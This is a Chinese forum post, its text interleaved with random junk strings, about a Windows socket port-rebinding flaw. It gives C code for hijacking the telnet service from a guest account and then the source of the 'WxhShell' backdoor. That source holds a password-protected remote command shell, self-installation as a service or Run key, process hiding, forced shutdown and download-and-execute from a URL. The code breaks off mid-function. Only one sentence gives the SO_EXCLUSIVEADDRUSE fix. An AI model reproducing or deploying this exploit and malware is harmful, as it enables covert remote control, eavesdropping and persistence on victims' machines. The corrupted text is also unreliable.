-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <q'l7S s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }Kp!, GJeG7xtJKl saddr.sin_family = AF_INET; 1!<t8,W4 @8|*Ndx2 saddr.sin_addr.s_addr = htonl(INADDR_ANY); s?w2^<P 1xB}Ed*k bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [eX]x rAH!%~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bhqSqU}6~ h_%q`y , 这意味着什么?意味着可以进行如下的攻击: .^Sglo VeYT[Us" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n)e2? zjpZ] $ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) : ky`)F` wjA
wJOw| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >'*%wf[{ 6 c_#"4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -s3`mc}* pU$k{^'UK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q/#e6;x 4q}+8F`0F 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @J[@Pu O :@(('X(". 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gP2zDI tT}b_r7h(1 #include jn<?,UABD #include uX_H;,n #include o(*\MTt? #include `6Bx8CZ'I DWORD WINAPI ClientThread(LPVOID lpParam); x4MmBVqp int main() 5h5izA'0' { v e&d"8+] WORD wVersionRequested; 7>N~l DWORD ret;
/8x';hQ WSADATA wsaData; azP H~'E' BOOL val; {^N,=m\ SOCKADDR_IN saddr; u8Ys2KLpL SOCKADDR_IN scaddr; 2n<Mu Q] int err; Qs&;MW4q SOCKET s; G4*
LO SOCKET sc; m\&|#yq int caddsize; a-{|/
n% HANDLE mt; ingG
DWORD tid; h `Lr5)B' wVersionRequested = MAKEWORD( 2, 2 ); S!(3-{nC err = WSAStartup( wVersionRequested, &wsaData ); n'~==2 if ( err != 0 ) { 7he73 printf("error!WSAStartup failed!\n"); 1m*)MZ) return -1; EA"hie7 } W$4$%r8 saddr.sin_family = AF_INET; Coi[cfg0 Bqf(6\)F //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w*F[[*j@. Qg4D*r\|@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); y )QLR<wf saddr.sin_port = htons(23); `YNzcn0x if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D=e*rrL7a { 4V@%Y,:ee printf("error!socket failed!\n"); Q:A#4Z return -1; nLN0zfhE# } HpnF,4A> val = TRUE; [LYO'-g^F# //SO_REUSEADDR选项就是可以实现端口重绑定的 F%w!I 9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,lZ19B?WP { eh86-tQI~( printf("error!setsockopt failed!\n"); CMj =4e return -1; ,'8%'xit } 8 v/H;65 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tFmB`*!% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6,>$Jzs)5E //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K*~{M+lU7 3=O [Q :8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;_<~9; { ~KK}
$iM ret=GetLastError(); sxNf"C=-. printf("error!bind failed!\n"); [D"6& return -1; )+_Vx}O:} } qG9a!sj listen(s,2); KF%BX~80C while(1) >h7(kj: { yE:y[k0E caddsize = sizeof(scaddr); |E8sw a //接受连接请求 2js/>L0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ac:`xk< if(sc!=INVALID_SOCKET) UqK.b}s { ]s\r3I] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z !K2UTX if(mt==NULL) 6.@.k { m{IlRf' printf("Thread Creat Failed!\n"); zMSwU]4I! break; R{g=
N%O } ;K<VT\ } wm5&5F4: CloseHandle(mt); )OI}IWDl } ,/f\ closesocket(s); UmR)L!QT8 WSACleanup(); JwG(WLb: return 0; 0D5Z#iW>1 } q5f QTV DWORD WINAPI ClientThread(LPVOID lpParam) ]#o;`5' { hek+zloB+ SOCKET ss = (SOCKET)lpParam; Rhc:szDU SOCKET sc; &[G)YD unsigned char buf[4096]; cv'8_3 SOCKADDR_IN saddr; SU0Ss gFB long num; g[} L
? DWORD val; ^/n1hg DWORD ret; #}7T$Va //如果是隐藏端口应用的话,可以在此处加一些判断 HPtMp#`T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 W@R7CQE@ saddr.sin_family = AF_INET; Rw+r1vW:A saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )tlj{ 7p saddr.sin_port = htons(23); iv*RE9?^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pwo$qs(p { "6U0
!.ro@ printf("error!socket failed!\n"); d"|_NG` vr return -1; PQaTS*0SXJ } dz^HN`AlzC val = 100; }qWnn>h9xv if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KI9Pw]]{- { 9PB%v.t5y ret = GetLastError(); 9vRLM*9| return -1; t0e6iof^o }
VY6G{f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [UwQi!^-O { /stvNIEa ret = GetLastError(); 8a6.77c return -1; }?2X
q } \(Ma>E4PNU if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gC$_yd6m
L { @qNY"c%HV printf("error!socket connect failed!\n"); 3@~a)E}T closesocket(sc); ilL% closesocket(ss); bF _]j/ return -1; ^Gk)aX } &eMd^l}:# while(1) tl dK@!E3 { aE0R{yup Z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m*
3ipI{h //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?d Jd7+A //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %bw+>:Tr num = recv(ss,buf,4096,0); )>~jjR if(num>0) <zXG}JuL@T send(sc,buf,num,0); /
&Z8g4vc else if(num==0) "L.k
m break; B Ewa QvQ! num = recv(sc,buf,4096,0); 7;Ze>"W> if(num>0) +3o
vO$g send(ss,buf,num,0); 2/3yW.C else if(num==0) >/-H!jUF] break; .=:f]fs } W3~u J( closesocket(ss); cW^LmA closesocket(sc); ^_#wo" return 0 ; YeCnk:_ kg } .]E(P
.u mqyU~ c#x~x ========================================================== <lzC|>BG OV{v6,>O 下边附上一个代码,,WXhSHELL lITd{E,+r 82FEl~,^E ========================================================== 3w^W6hN) syu/"KY^! #include "stdafx.h" ^:/c<(DQD '`^~Zy?c #include <stdio.h> .6MG#N #include <string.h> hTa X@=Ra #include <windows.h> P4B|l: #include <winsock2.h> i6yA>#^ #include <winsvc.h> A{>w5T #include <urlmon.h> 0_qr7Ui8( =mLp g4 #pragma comment (lib, "Ws2_32.lib") kk5&lak2V #pragma comment (lib, "urlmon.lib") }"+"nf5h e/hCYoS1n #define MAX_USER 100 // 最大客户端连接数 yr'-;-u #define BUF_SOCK 200 // sock buffer Xc[ym #define KEY_BUFF 255 // 输入 buffer IhzY7U)}T ou0TKE9
_ #define REBOOT 0 // 重启 OcUj_Zd #define SHUTDOWN 1 // 关机 T^!Q(`* SE*;6&yL #define DEF_PORT 5000 // 监听端口 cq>J]35 z#G\D5yX[* #define REG_LEN 16 // 注册表键长度 ~AD>@;8fG #define SVC_LEN 80 // NT服务名长度 YnnK]N;\x ;40Z/#FI // 从dll定义API f\5w@nX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2<*"@Vj typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); od#Lad@p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XOX$uLm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4x
?NCD=k ], Bafz)4 // wxhshell配置信息 2{RRaUoRb struct WSCFG { bbq`gEV int ws_port; // 监听端口 OybmyGHY char ws_passstr[REG_LEN]; // 口令 e!0xh int ws_autoins; // 安装标记, 1=yes 0=no 2MB>NM<xO char ws_regname[REG_LEN]; // 注册表键名 X8v)yDtw char ws_svcname[REG_LEN]; // 服务名 a5Vlfx char ws_svcdisp[SVC_LEN]; // 服务显示名 [? "hmSJ char ws_svcdesc[SVC_LEN]; // 服务描述信息 !Gnm<|. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $m
;p@#n int ws_downexe; // 下载执行标记, 1=yes 0=no l`~$cK! char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" t>quY$}4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .oM- A\! Tp@Yn }; Q1Qw45$ g@x72$j // default Wxhshell configuration vE`;1UA} struct WSCFG wscfg={DEF_PORT, cFie;k "xuhuanlingzhe", j)G%I y[` 1, m\*ca3$ "Wxhshell", bv <^zuV "Wxhshell", ?1g`'q@T% "WxhShell Service", Zbl*U(KU? "Wrsky Windows CmdShell Service", *0oa2fz% "Please Input Your Password: ", *DcIC]ao[ 1, AHr^G' " http://www.wrsky.com/wxhshell.exe", -J!n 7 "Wxhshell.exe" S7J.(;
82 }; 4 dHGU^#WZ :*g$@T // 消息定义模块 5M> p%/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fFVQu\ char *msg_ws_prompt="\n\r? for help\n\r#>"; hQ>$"0K
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; B t3++ Mj char *msg_ws_ext="\n\rExit."; JK,^:tgm char *msg_ws_end="\n\rQuit."; ~i?Jg/qcxN char *msg_ws_boot="\n\rReboot..."; f4\F:YT char *msg_ws_poff="\n\rShutdown..."; Q(x=;wf5r char *msg_ws_down="\n\rSave to "; ;~
Xjk mx1Bk9h%Xe char *msg_ws_err="\n\rErr!"; &:C[
n q char *msg_ws_ok="\n\rOK!"; Nq9pory^ )6XnxBSH char ExeFile[MAX_PATH]; m.6uLaD"!} int nUser = 0; z1tD2jL _ HANDLE handles[MAX_USER]; pqv l,G5 int OsIsNt; (=rDt93J E\Wd*,/v) SERVICE_STATUS serviceStatus; \8*j"@ !H SERVICE_STATUS_HANDLE hServiceStatusHandle; us5Zi# } K
HNU=k // 函数声明 rp
@%0/[ int Install(void); )s7 EhIP int Uninstall(void); "=%YyH~WY int DownloadFile(char *sURL, SOCKET wsh); xP9R
d/xa| int Boot(int flag); IecD41% void HideProc(void); 8WLh7[ int GetOsVer(void); EhD% int Wxhshell(SOCKET wsl); q~18JB4WPJ void TalkWithClient(void *cs); s,C>l_4- int CmdShell(SOCKET sock); s(5(zcBK int StartFromService(void); ?N+pWdi int StartWxhshell(LPSTR lpCmdLine); _ZWU~38PM 6V9r[,n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /QlzWson VOID WINAPI NTServiceHandler( DWORD fdwControl ); _Q\rZ
l 9JMf
T] // 数据结构和表定义 *XDe:A SERVICE_TABLE_ENTRY DispatchTable[] = 9]chv>dO)= { W7s {wscfg.ws_svcname, NTServiceMain}, <b4}
B {NULL, NULL} _;x` 6LM }; aFnyhu&W' ?=?*W7 // 自我安装 \2f?)id~ int Install(void) dhg($m { B\|^$z2 char svExeFile[MAX_PATH]; CyVi{"aF3 HKEY key; $rjm MSxi strcpy(svExeFile,ExeFile); .GYdC' b*Hk}
!qH // 如果是win9x系统,修改注册表设为自启动 o|n+;h
if(!OsIsNt) { V#4ox km if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {R7RBX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M_?B*QZJI RegCloseKey(key); 0jXDjk5'< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qbD_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H93ug1, RegCloseKey(key); N1>M<N03 return 0; z{NK(oW } ca,JQrm } -)"\?+T } SoCN.J30 else { Efd@\m:~> I?q-
:9: // 如果是NT以上系统,安装为系统服务 E-9>lb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~T._v;IT if (schSCManager!=0) H11@ DQ6 { fA V.Mj- SC_HANDLE schService = CreateService VK%ExMSqEh ( PJKxh%J schSCManager, tOj5b7'ui wscfg.ws_svcname, :-2sKD y wscfg.ws_svcdisp, a[=B?Bd SERVICE_ALL_ACCESS, 5P('SFq'= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NP.qh1{NP SERVICE_AUTO_START,
j)mS3#cH SERVICE_ERROR_NORMAL, #5{lOeN svExeFile, tuo'Uk) NULL, m KKa0" NULL, -&y&b- NULL, UBuG12U4Y NULL, *MWI`=c NULL {Z$]Rj ); Tz(Dhb, if (schService!=0) lP(<4mdP { M;z )c|Z CloseServiceHandle(schService); .D=#HEshk CloseServiceHandle(schSCManager); b3=XWzK5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v9D[|4 strcat(svExeFile,wscfg.ws_svcname); c)QOgXv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .?F`H[^)^u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7pH[_]1" RegCloseKey(key); A~a7/N6s; return 0; VM3)L>x]/ } @a]`C
$6 } )qWO}]F CloseServiceHandle(schSCManager); &4p~i Z } ^'vWv C } 61b<6r0o Pi[(xD8 return 1; 9\r5&#<(I } /5XdZu6k`h 8?o{{ay // 自我卸载 U<yKC8 int Uninstall(void) *u34~v16, { 4Gh%PUV# HKEY key; !NhVPb, @jr$4pM? if(!OsIsNt) { 2$ \#BG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (>om.FM RegDeleteValue(key,wscfg.ws_regname); Nm0|U.< RegCloseKey(key); cl'qw## if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0te[i*G RegDeleteValue(key,wscfg.ws_regname); $O9#4A; RegCloseKey(key); M[Jy?b) return 0; !;U}ax;AF } y(r(q } ~HX'8\5 } aFy'6c}
else { pmDFmES oPA m* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s.!gsCQme if (schSCManager!=0) VC NQ}h[D { 3_Re>i SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'p,54<e if (schService!=0) `9VRT`e { wIQt
f|ZI> if(DeleteService(schService)!=0) { M0MvOO*ad CloseServiceHandle(schService); DB+.< CloseServiceHandle(schSCManager); yu'@gg(
return 0; O/f+B}W } Ar$Am CloseServiceHandle(schService); y-:d`>b>\ } (M t-2+"+ CloseServiceHandle(schSCManager); f@xjNm*'Z } &m@DK> } v}"DW? kAk+Sq^n return 1; cfW;gFf } k`,>52 j1$s^ -9 // 从指定url下载文件 2o`L^^ int DownloadFile(char *sURL, SOCKET wsh) v1s0kdR,> {
qmGLc~M0 HRESULT hr; h Qbz}x char seps[]= "/"; *h"7!g char *token; bX&=*L+h6 char *file; jL#`CD char myURL[MAX_PATH]; $%3%&+z$I char myFILE[MAX_PATH]; ,y*|f0&"~ $[*<e~? strcpy(myURL,sURL); DqBiBH[%h token=strtok(myURL,seps); mp>Ne6\Tu while(token!=NULL) ,A!0:+ { ~fF;GtP file=token; iXuSFman token=strtok(NULL,seps); H}}C>p"!, } 7a<:\F}E0 *Ag,/Cm] GetCurrentDirectory(MAX_PATH,myFILE); |`ZW(}~ strcat(myFILE, "\\"); -Y/c]g strcat(myFILE, file); N/N~>7f send(wsh,myFILE,strlen(myFILE),0); *#CUZJN\ send(wsh,"...",3,0); 7 +kU 8} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #?RT$L>n if(hr==S_OK) i~EFRI@ return 0; MJI`1*( else :0j_I\L return 1; rIWQD%Afm .L}k-8 } 5g;i{T/6~x |]x>|Z?/u // 系统电源模块 </jTWc'} int Boot(int flag) qgw)SuwW { 77p8|63 HANDLE hToken; p u6@X7W" TOKEN_PRIVILEGES tkp; pK@8= + w|8T6W|w if(OsIsNt) { jB%aHUF; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -1tiy.^$F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L+2<J,
tkp.PrivilegeCount = 1; rl](0"Y0
t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6Y&`mgMF' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P
jh3=Dr if(flag==REBOOT) { 5Z*6,P0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) % (x9~" return 0; YS+|n%? } zqa7!ky else { FWDAG$K@0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C{U"Nsu+1 return 0; 'o]8UD( } zP|^) h5 } Y4I;-&d's else { 58o'Q if(flag==REBOOT) { (od9adSehV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *t,1(Gw|7q return 0; ,\=,,1_ } n]fMl:77 else { wj<fi if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =/MA`> return 0; jdAjCy; s! } BXB ZX@jVk } :"I!$_E' D
$3Mg return 1; 6$A>%Jtwe } "TP^:Ln GEUC<bL+ // win9x进程隐藏模块 S<UWv@`U" void HideProc(void) -|_MC^) { {>n\B~*,"C %,Lv},%Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |58xR.S'g if ( hKernel != NULL ) `D={l29H { b,uudtlH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EN;s
8sC! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~"nF$DB FreeLibrary(hKernel); 6-J%Z%yT # } 6g&Ev' u@pimRVo return;
$u
P'> } 85Red~-M ,v$Q:n| // 获取操作系统版本 2$s2u; int GetOsVer(void) =C 7 WQ { LeaJ).Maw OSVERSIONINFO winfo; FDCc?>,o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); On-zbE GetVersionEx(&winfo); &r)[6a$fW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1V:I}~\ return 1; iqr/MB,W else omzG/)M:O return 0; K26`wt } < wi9
m6Mko2 // 客户端句柄模块 t4v@d int Wxhshell(SOCKET wsl) HvzXAd {
jH>`: SOCKET wsh; W!t =9i struct sockaddr_in client; ble[@VW| DWORD myID; +FJ+,|i y7~y@ 2 while(nUser<MAX_USER) o&ETs)n| { zv0bE?W9 int nSize=sizeof(client); 1s/548wu wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6W[~@~D= if(wsh==INVALID_SOCKET) return 1; g0ks[ }f- XR|U6bf] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Oe
~g[I; if(handles[nUser]==0) xtO#reL"q? closesocket(wsh); }\0ei(%H else g+A>Bl3# nUser++; 1V.oR`&2E } ?"$Rw32 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V@rqC[on ->L> `<7( return 0; 5y8VA4L/o } c*.-mS~Z` @L$!hTaP // 关闭 socket dVe,;?+A void CloseIt(SOCKET wsh) Q>(a JF { QtQbr*q@% closesocket(wsh); =}zSj64 nUser--; o3YW(%cYR ExitThread(0); C?j:+ } [h63* & Z7XFG&@6 // 客户端请求句柄 T.}Y&,n$$5 void TalkWithClient(void *cs) @ Fkhida { rld8hFj CorV!H4
SOCKET wsh=(SOCKET)cs; F:N8{puq5 char pwd[SVC_LEN]; QQJf;p7 char cmd[KEY_BUFF]; @;\0cEn> char chr[1]; F3[,6%4v int i,j; g%<n9AUl ]f_`w81[ while (nUser < MAX_USER) { dTjDVq&Hz 9y&bKB2, if(wscfg.ws_passstr) { J6Vx7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s'|t2`K(" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !<24Cy //ZeroMemory(pwd,KEY_BUFF); :gO5#HIm i=0; />6ECT while(i<SVC_LEN) { &~=r .T Zm0' p! // 设置超时 5th?m> fd_set FdRead; Dxy^r*B struct timeval TimeOut; t)1`^W} FD_ZERO(&FdRead); MU%7'J :_ FD_SET(wsh,&FdRead); v7n@CWnN TimeOut.tv_sec=8; F1A40h7R$Y TimeOut.tv_usec=0; 4*&k~0#t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2RQ-L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PV:J>!] F$bV}>-1k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7[PEiAI pwd =chr[0]; A=3L_
#nO if(chr[0]==0xd || chr[0]==0xa) { :bm%f%gg pwd=0; vA}_x7}n( break; l0C`teO
} mRa\ wEg% i++; 0<O()NMv } )2_[Ww|. -n8d#Qm) // 如果是非法用户,关闭 socket 9:P]{}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wZs 2aa } qV6WT&)T hJsP;y:@Lm send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [dAQrou6P send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QFMAy>Gdn =3 Vug2*wd while(1) { YZ`SF"Bd( tj$[szo ZeroMemory(cmd,KEY_BUFF); :AS`1\ C kg
8Dn // 自动支持客户端 telnet标准 -Caj>K j=0; JQ6M,O while(j<KEY_BUFF) { hGkJ$QT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kRc+OsY9 cmd[j]=chr[0]; xx(C$wCJ if(chr[0]==0xa || chr[0]==0xd) { =J4|"z: cmd[j]=0; 1X&.po break; BM`6<Z "3q } 5dB62dqN j++; P#7=h:.522 } *mVg_Kl MXa^g" // 下载文件 "?.#z]'] if(strstr(cmd,"http://")) { 4M|uT
9- send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9v[V"m`M if(DownloadFile(cmd,wsh)) N!Rt040.% send(wsh,msg_ws_err,strlen(msg_ws_err),0); FF~r&h8H else eIfQ
TV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ),-gy~ } )Qd
x else { ddyX+.LMk PO?_i>mA switch(cmd[0]) {
r5Tdp)S A4cOnG,
// 帮助 U(9_&sL case '?': { ^:]$m;v] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6tndC
o; ` break; ,|B-Nq } H#DvCw // 安装 8'HS$J;C case 'i': { tKeTHj;jO if(Install()) q;") send(wsh,msg_ws_err,strlen(msg_ws_err),0); uINdeq 7|F else 0'fswa) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XS">`9o! break; Ff%V1BH[ } -X~mW
// 卸载 Cf3!Ud case 'r': { \?d3Pn5` if(Uninstall()) 4G?^#+|^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); KGHSEZi] else Vh;zV Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /rnI"ze` break; qfyZda0d } |7tD&9< // 显示 wxhshell 所在路径 =I'3C']Z W case 'p': { o[T+/Ej& char svExeFile[MAX_PATH]; !6T"J!F# strcpy(svExeFile,"\n\r"); ~?AEtl#&" strcat(svExeFile,ExeFile); C=/B\G/.9 send(wsh,svExeFile,strlen(svExeFile),0); {^
b2nOMv break; ^Aq0< }
G$+v |z // 重启 $KO2+^%y case 'b': { LWN{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /}(d'@8p if(Boot(REBOOT)) )&Oc7\J, send(wsh,msg_ws_err,strlen(msg_ws_err),0); -juG[zn else { =O![>Fu5 closesocket(wsh); t82'K@sq ExitThread(0); lGl'A}]#$ } &~
y)b`r break; cKe %P|8 } C/Khp + // 关机 )ODF6Ag case 'd': { ]~KLdgru_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _XV%}Xb' if(Boot(SHUTDOWN)) GWnIy6TH l send(wsh,msg_ws_err,strlen(msg_ws_err),0); zKO7`.* else { D j&~x
closesocket(wsh); S{rltT- ExitThread(0); rP3HR5 } &0Yg:{k$ break; .p&@;fZ } *h!fqT%9 // 获取shell _U<fS case 's': { /|1p7{km CmdShell(wsh); /Vn>(;lo closesocket(wsh); !Qe;oMqy} ExitThread(0); aa`(2%(: break; ej`%}e%2 } a>'ez0C // 退出 t'rN7.d case 'x': { kI^*
'=: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <U@N^# CloseIt(wsh); [y[d7V9_o break; ,Of^xER` } O1J&Lwpk, // 离开 q8v[u_(yD case 'q': { -3EQRqVg send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q +^& closesocket(wsh); -n|bi cP WSACleanup(); 1cLtTE exit(1); d(T4Kd$r break; {r,Uik-nL } wA=r]BT } ,#A(I#wL~ } Ymk?@mV4 $;qi-K3j // 提示信息 ;]>kp^C# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E-bswUVaEE } QJGGce } "is( )/H;5 cn return; >='/%Ad } $YL9 vJV g* q#VmE // shell模块句柄 P[nc8z[
int CmdShell(SOCKET sock) ~[g(@Xt { jFj11w1FrA STARTUPINFO si; UN]gn>~j ZeroMemory(&si,sizeof(si)); K,E/.Qe\C si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A`c%p7Z% si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ps!MpdcL3 PROCESS_INFORMATION ProcessInfo; ;c(a)_1 char cmdline[]="cmd"; |*&l?S CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9y7N}T6 return 0; J D\tt- } tE7jTe m&UP@hUV- // 自身启动模式 z M9#1^X int StartFromService(void) =)[m[@,c { v= 55{ typedef struct HN5m %R&` { I"07x'Ahq3 DWORD ExitStatus; ^\\3bW9}H DWORD PebBaseAddress; (#Y~z',I DWORD AffinityMask; Da=EAG-{7 DWORD BasePriority; Mt[yY|Ec| ULONG UniqueProcessId; QU"WpkO ULONG InheritedFromUniqueProcessId; -+#%]P8l } PROCESS_BASIC_INFORMATION; 22`^Rsb,6L Gm=qn]c PROCNTQSIP NtQueryInformationProcess; 9wgB JJl7 <n2@;`D static ENUMPROCESSMODULES 